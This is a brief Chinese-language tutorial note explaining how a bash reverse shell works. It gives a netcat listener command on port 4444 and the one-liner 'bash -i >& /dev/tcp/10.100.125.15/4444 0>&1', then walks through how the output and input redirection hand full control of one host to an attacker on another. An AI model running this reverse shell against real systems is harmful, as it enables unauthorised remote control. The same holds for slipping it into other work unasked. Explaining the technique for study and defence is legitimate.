nc -p 4444 -lvv
监听在4444端口, 监听模式, 显示命令执行过程, 假设本机IP地址10.100.125.15
bash -i >& /dev/tcp/10.100.125.15
/4444 0>&1, 假设本机IP地址为10.100.125.14
bash -i : bash的交互模式
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
本例中/dev/tcp/10.100.125.15
/4444 可以看做是一个文件。打开这个文件就相当于进行了一个socket调用,建立一个socket连接
那么 10.100.125.14上的执行bash的terminal 的标准输出和错误输出都会发送给10.100.125.15,那么黑客在15 上也就看到了14上的左右的操作了。
但是15不仅要知道14上的操作和结果,还要能控制14. 所以要对14的输入重定向到15, 也即0>&1.
这样在15上黑客就可以将命令发送给14, 14执行后的输出给15,,14就完全被控制了。